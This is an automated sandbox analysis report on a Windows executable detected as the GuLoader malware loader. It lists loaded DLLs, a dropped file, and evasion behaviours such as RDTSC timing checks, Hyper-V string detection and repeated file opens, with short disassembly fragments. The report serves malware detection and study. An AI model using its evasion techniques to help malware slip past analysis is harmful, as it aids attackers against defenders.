Source: 3507071243740008011.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\3507071243740008011.exe

File read: C:\Users\user\Desktop\3507071243740008011.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\3507071243740008011.exe "C:\Users\user\Desktop\3507071243740008011.exe"
Source: C:\Users\user\Desktop\3507071243740008011.exe	Process created: C:\Users\user\Desktop\3507071243740008011.exe "C:\Users\user\Desktop\3507071243740008011.exe"

Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\3507071243740008011.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: 3507071243740008011.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: 3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: wntdll.pdbUGP source: 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040652875.00000000369C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 3507071243740008011.exe, 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040652875.00000000369C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: 3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2641992068.0000000005438000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D2135D push eax; iretd	5_2_36D21369
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D227FA pushad ; ret	5_2_36D227F9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D2225F pushad ; ret	5_2_36D227F9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D2283D push eax; iretd	5_2_36D22858
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D509AD push ecx; mov dword ptr [esp], ecx	5_2_36D509B6

Source: C:\Users\user\Desktop\3507071243740008011.exe

File created: C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\3507071243740008011.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3507071243740008011.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Opens the same file many times (likely Sandbox evasion)

Source: C:\Users\user\Desktop\3507071243740008011.exe

File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Saddukisk233\centerleder.ini count: 45722

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\3507071243740008011.exe	API/Special instruction interceptor: Address: 59AA0FB
Source: C:\Users\user\Desktop\3507071243740008011.exe	API/Special instruction interceptor: Address: 458A0FB

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\3507071243740008011.exe	RDTSC instruction interceptor: First address: 596FD31 second address: 596FD31 instructions: 0x00000000 rdtsc 0x00000002 test cx, cx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F2C6C77DF87h 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3507071243740008011.exe	RDTSC instruction interceptor: First address: 454FD31 second address: 454FD31 instructions: 0x00000000 rdtsc 0x00000002 test cx, cx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F2C6D012067h 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b rdtsc

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 5_2_36DCD1C0 rdtsc

5_2_36DCD1C0

Source: C:\Users\user\Desktop\3507071243740008011.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\3507071243740008011.exe

API coverage: 0.1 %

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_004065C5 FindFirstFileW,FindClose,	0_2_004065C5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_00405990 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405990
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: 3507071243740008011.exe, 00000005.00000002.3376402237.0000000006C58000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3376402237.0000000006CAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3507071243740008011.exe, 00000005.00000002.3376402237.0000000006CAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL'Y

Source: C:\Users\user\Desktop\3507071243740008011.exe	API call chain: ExitProcess graph end node			graph_0-4581
Source: C:\Users\user\Desktop\3507071243740008011.exe	API call chain: ExitProcess graph end node			graph_0-4577

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 5_2_36DCD1C0 rdtsc

5_2_36DCD1C0

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 5_2_36D935C0 NtCreateMutant,LdrInitializeThunk,

5_2_36D935C0

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0D6F0 mov eax, dword ptr fs:[00000030h]	5_2_36E0D6F0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B6C0 mov eax, dword ptr fs:[00000030h]	5_2_36D5B6C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B6C0 mov eax, dword ptr fs:[00000030h]	5_2_36D5B6C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B6C0 mov eax, dword ptr fs:[00000030h]	5_2_36D5B6C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B6C0 mov eax, dword ptr fs:[00000030h]	5_2_36D5B6C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B6C0 mov eax, dword ptr fs:[00000030h]	5_2_36D5B6C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B6C0 mov eax, dword ptr fs:[00000030h]	5_2_36D5B6C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D816CF mov eax, dword ptr fs:[00000030h]	5_2_36D816CF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F6C7 mov eax, dword ptr fs:[00000030h]	5_2_36E0F6C7
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E116CC mov eax, dword ptr fs:[00000030h]	5_2_36E116CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E116CC mov eax, dword ptr fs:[00000030h]	5_2_36E116CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E116CC mov eax, dword ptr fs:[00000030h]	5_2_36E116CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E116CC mov eax, dword ptr fs:[00000030h]	5_2_36E116CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE36EE mov eax, dword ptr fs:[00000030h]	5_2_36DE36EE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE36EE mov eax, dword ptr fs:[00000030h]	5_2_36DE36EE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE36EE mov eax, dword ptr fs:[00000030h]	5_2_36DE36EE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE36EE mov eax, dword ptr fs:[00000030h]	5_2_36DE36EE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE36EE mov eax, dword ptr fs:[00000030h]	5_2_36DE36EE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE36EE mov eax, dword ptr fs:[00000030h]	5_2_36DE36EE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7D6E0 mov eax, dword ptr fs:[00000030h]	5_2_36D7D6E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7D6E0 mov eax, dword ptr fs:[00000030h]	5_2_36D7D6E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD368C mov eax, dword ptr fs:[00000030h]	5_2_36DD368C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD368C mov eax, dword ptr fs:[00000030h]	5_2_36DD368C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD368C mov eax, dword ptr fs:[00000030h]	5_2_36DD368C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD368C mov eax, dword ptr fs:[00000030h]	5_2_36DD368C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D476B2 mov eax, dword ptr fs:[00000030h]	5_2_36D476B2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D476B2 mov eax, dword ptr fs:[00000030h]	5_2_36D476B2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D476B2 mov eax, dword ptr fs:[00000030h]	5_2_36D476B2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4D6AA mov eax, dword ptr fs:[00000030h]	5_2_36D4D6AA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4D6AA mov eax, dword ptr fs:[00000030h]	5_2_36D4D6AA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D89660 mov eax, dword ptr fs:[00000030h]	5_2_36D89660
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D89660 mov eax, dword ptr fs:[00000030h]	5_2_36D89660
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DED660 mov eax, dword ptr fs:[00000030h]	5_2_36DED660
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53616 mov eax, dword ptr fs:[00000030h]	5_2_36D53616
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53616 mov eax, dword ptr fs:[00000030h]	5_2_36D53616
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25636 mov eax, dword ptr fs:[00000030h]	5_2_36E25636
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8F603 mov eax, dword ptr fs:[00000030h]	5_2_36D8F603
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D81607 mov eax, dword ptr fs:[00000030h]	5_2_36D81607
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F626 mov eax, dword ptr fs:[00000030h]	5_2_36D4F626
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D557C0 mov eax, dword ptr fs:[00000030h]	5_2_36D557C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D557C0 mov eax, dword ptr fs:[00000030h]	5_2_36D557C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D557C0 mov eax, dword ptr fs:[00000030h]	5_2_36D557C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D7E0 mov ecx, dword ptr fs:[00000030h]	5_2_36D5D7E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0D7B0 mov eax, dword ptr fs:[00000030h]	5_2_36E0D7B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0D7B0 mov eax, dword ptr fs:[00000030h]	5_2_36E0D7B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E237B6 mov eax, dword ptr fs:[00000030h]	5_2_36E237B6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7D7B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7D7B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F78A mov eax, dword ptr fs:[00000030h]	5_2_36E0F78A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F7BA mov eax, dword ptr fs:[00000030h]	5_2_36D4F7BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDF7AF mov eax, dword ptr fs:[00000030h]	5_2_36DDF7AF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDF7AF mov eax, dword ptr fs:[00000030h]	5_2_36DDF7AF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDF7AF mov eax, dword ptr fs:[00000030h]	5_2_36DDF7AF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDF7AF mov eax, dword ptr fs:[00000030h]	5_2_36DDF7AF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDF7AF mov eax, dword ptr fs:[00000030h]	5_2_36DDF7AF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD97A9 mov eax, dword ptr fs:[00000030h]	5_2_36DD97A9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF375F mov eax, dword ptr fs:[00000030h]	5_2_36DF375F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF375F mov eax, dword ptr fs:[00000030h]	5_2_36DF375F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF375F mov eax, dword ptr fs:[00000030h]	5_2_36DF375F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF375F mov eax, dword ptr fs:[00000030h]	5_2_36DF375F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF375F mov eax, dword ptr fs:[00000030h]	5_2_36DF375F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D63740 mov eax, dword ptr fs:[00000030h]	5_2_36D63740
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D63740 mov eax, dword ptr fs:[00000030h]	5_2_36D63740
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D63740 mov eax, dword ptr fs:[00000030h]	5_2_36D63740
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E23749 mov eax, dword ptr fs:[00000030h]	5_2_36E23749
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B765 mov eax, dword ptr fs:[00000030h]	5_2_36D4B765
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B765 mov eax, dword ptr fs:[00000030h]	5_2_36D4B765
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B765 mov eax, dword ptr fs:[00000030h]	5_2_36D4B765
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B765 mov eax, dword ptr fs:[00000030h]	5_2_36D4B765
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8F71F mov eax, dword ptr fs:[00000030h]	5_2_36D8F71F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8F71F mov eax, dword ptr fs:[00000030h]	5_2_36D8F71F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1972B mov eax, dword ptr fs:[00000030h]	5_2_36E1972B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F72E mov eax, dword ptr fs:[00000030h]	5_2_36E0F72E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D57703 mov eax, dword ptr fs:[00000030h]	5_2_36D57703
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D55702 mov eax, dword ptr fs:[00000030h]	5_2_36D55702
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D55702 mov eax, dword ptr fs:[00000030h]	5_2_36D55702
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2B73C mov eax, dword ptr fs:[00000030h]	5_2_36E2B73C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2B73C mov eax, dword ptr fs:[00000030h]	5_2_36E2B73C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2B73C mov eax, dword ptr fs:[00000030h]	5_2_36E2B73C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2B73C mov eax, dword ptr fs:[00000030h]	5_2_36E2B73C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49730 mov eax, dword ptr fs:[00000030h]	5_2_36D49730
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49730 mov eax, dword ptr fs:[00000030h]	5_2_36D49730
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D85734 mov eax, dword ptr fs:[00000030h]	5_2_36D85734
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5973A mov eax, dword ptr fs:[00000030h]	5_2_36D5973A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5973A mov eax, dword ptr fs:[00000030h]	5_2_36D5973A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53720 mov eax, dword ptr fs:[00000030h]	5_2_36D53720
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F720 mov eax, dword ptr fs:[00000030h]	5_2_36D6F720
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F720 mov eax, dword ptr fs:[00000030h]	5_2_36D6F720
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F720 mov eax, dword ptr fs:[00000030h]	5_2_36D6F720
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E254DB mov eax, dword ptr fs:[00000030h]	5_2_36E254DB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF94E0 mov eax, dword ptr fs:[00000030h]	5_2_36DF94E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D59486 mov eax, dword ptr fs:[00000030h]	5_2_36D59486
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D59486 mov eax, dword ptr fs:[00000030h]	5_2_36D59486
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B480 mov eax, dword ptr fs:[00000030h]	5_2_36D4B480
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D474B0 mov eax, dword ptr fs:[00000030h]	5_2_36D474B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D474B0 mov eax, dword ptr fs:[00000030h]	5_2_36D474B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D834B0 mov eax, dword ptr fs:[00000030h]	5_2_36D834B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF74B0 mov eax, dword ptr fs:[00000030h]	5_2_36DF74B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB450 mov eax, dword ptr fs:[00000030h]	5_2_36DFB450
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB450 mov eax, dword ptr fs:[00000030h]	5_2_36DFB450
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB450 mov eax, dword ptr fs:[00000030h]	5_2_36DFB450
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB450 mov eax, dword ptr fs:[00000030h]	5_2_36DFB450
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B440 mov eax, dword ptr fs:[00000030h]	5_2_36D5B440
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B440 mov eax, dword ptr fs:[00000030h]	5_2_36D5B440
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B440 mov eax, dword ptr fs:[00000030h]	5_2_36D5B440
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B440 mov eax, dword ptr fs:[00000030h]	5_2_36D5B440
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B440 mov eax, dword ptr fs:[00000030h]	5_2_36D5B440
